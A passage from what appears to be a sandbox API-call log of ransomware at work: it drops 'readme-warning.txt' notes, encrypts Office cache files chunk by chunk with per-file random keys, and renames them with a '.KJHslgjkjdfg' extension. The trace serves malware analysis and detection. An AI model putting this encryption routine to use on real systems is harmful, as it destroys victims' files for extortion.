CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0147.219] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfece4 | out: pbData=0x2f11778, pdwDataLen=0x4dfece4) returned 1 [0147.219] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.220] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0147.220] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.220] GetProcessHeap () returned 0x2ef0000 [0147.220] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0147.220] wsprintfA (in: param_1=0x4dfef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0147.220] wsprintfA (in: param_1=0x4dff33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0147.220] GetProcessHeap () returned 0x2ef0000 [0147.220] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d638 [0147.220] wsprintfW (in: param_1=0x4dfe30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0147.220] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0147.221] WriteFile (in: hFile=0x124, lpBuffer=0x2f3d638*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe308, lpOverlapped=0x0 | out: lpBuffer=0x2f3d638*, lpNumberOfBytesWritten=0x4dfe308*=0x3b3, lpOverlapped=0x0) returned 1 [0147.222] CloseHandle (hObject=0x124) returned 1 [0147.223] GetProcessHeap () returned 0x2ef0000 [0147.223] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0147.223] GetProcessHeap () returned 0x2ef0000 [0147.223] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d638 | out: hHeap=0x2ef0000) returned 1 [0147.223] GetProcessHeap () returned 0x2ef0000 [0147.223] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0147.223] GetProcessHeap () returned 0x2ef0000 [0147.223] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0147.223] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0147.223] GetProcessHeap () returned 0x2ef0000 [0147.223] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bd8 | out: hHeap=0x2ef0000) returned 1 [0147.223] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0147.223] GetProcessHeap () returned 0x2ef0000 [0147.223] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f14588 [0147.223] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0147.281] GetProcessHeap () returned 0x2ef0000 [0147.281] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0147.281] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0147.281] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0147.281] GetProcessHeap () returned 0x2ef0000 [0147.281] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f16bd8 [0147.282] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0147.282] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=14819276) returned 1 [0147.282] GetProcessHeap () returned 0x2ef0000 [0147.282] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0147.282] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0147.282] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.282] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0147.285] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0147.285] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0147.285] GetProcessHeap () returned 0x2ef0000 [0147.285] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0147.285] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0147.285] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.285] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0147.286] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0147.286] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0147.286] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0147.286] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0147.286] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0147.286] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0147.286] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0147.286] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0147.286] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0147.290] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0147.294] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.294] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0147.295] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe220a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.295] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0147.295] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0147.295] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0147.300] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0147.303] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.303] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0147.304] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe220a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.304] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0147.304] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xde1fd0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0147.304] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0147.309] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0147.312] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xde1fd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.312] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0147.313] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe220a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.313] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0147.313] CryptDestroyKey (hKey=0x2f18208) returned 1 [0147.313] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe220a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.313] SetEndOfFile (hFile=0x124) returned 1 [0147.318] GetProcessHeap () returned 0x2ef0000 [0147.318] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0147.318] GetProcessHeap () returned 0x2ef0000 [0147.319] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0147.319] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.kjhslgjkjdfg")) returned 1 [0148.354] CloseHandle (hObject=0x124) returned 1 [0148.355] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0148.355] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0148.355] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=2865664) returned 1 [0148.355] GetProcessHeap () returned 0x2ef0000 [0148.355] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0148.355] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0148.355] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.355] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0148.355] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0148.355] GetProcessHeap () returned 0x2ef0000 [0148.355] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0148.355] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0148.355] CryptDestroyKey (hKey=0x2f18208) returned 1 [0148.356] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0148.358] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0148.358] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0148.358] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0148.358] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0148.359] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0148.359] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0148.359] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0148.359] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0148.359] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0148.363] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0148.368] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.368] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0148.369] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bbad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.369] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0148.369] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0148.369] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0148.377] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0148.381] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.381] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0148.382] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bbad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.382] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0148.382] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0148.382] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0148.385] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0148.388] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.388] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0148.389] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bbad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.389] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0148.389] CryptDestroyKey (hKey=0x2f18208) returned 1 [0148.389] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bbad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.389] SetEndOfFile (hFile=0x124) returned 1 [0148.392] GetProcessHeap () returned 0x2ef0000 [0148.393] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0148.393] GetProcessHeap () returned 0x2ef0000 [0148.393] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0148.393] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.kjhslgjkjdfg")) returned 1 [0148.561] CloseHandle (hObject=0x124) returned 1 [0148.561] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0148.561] CreateFileW 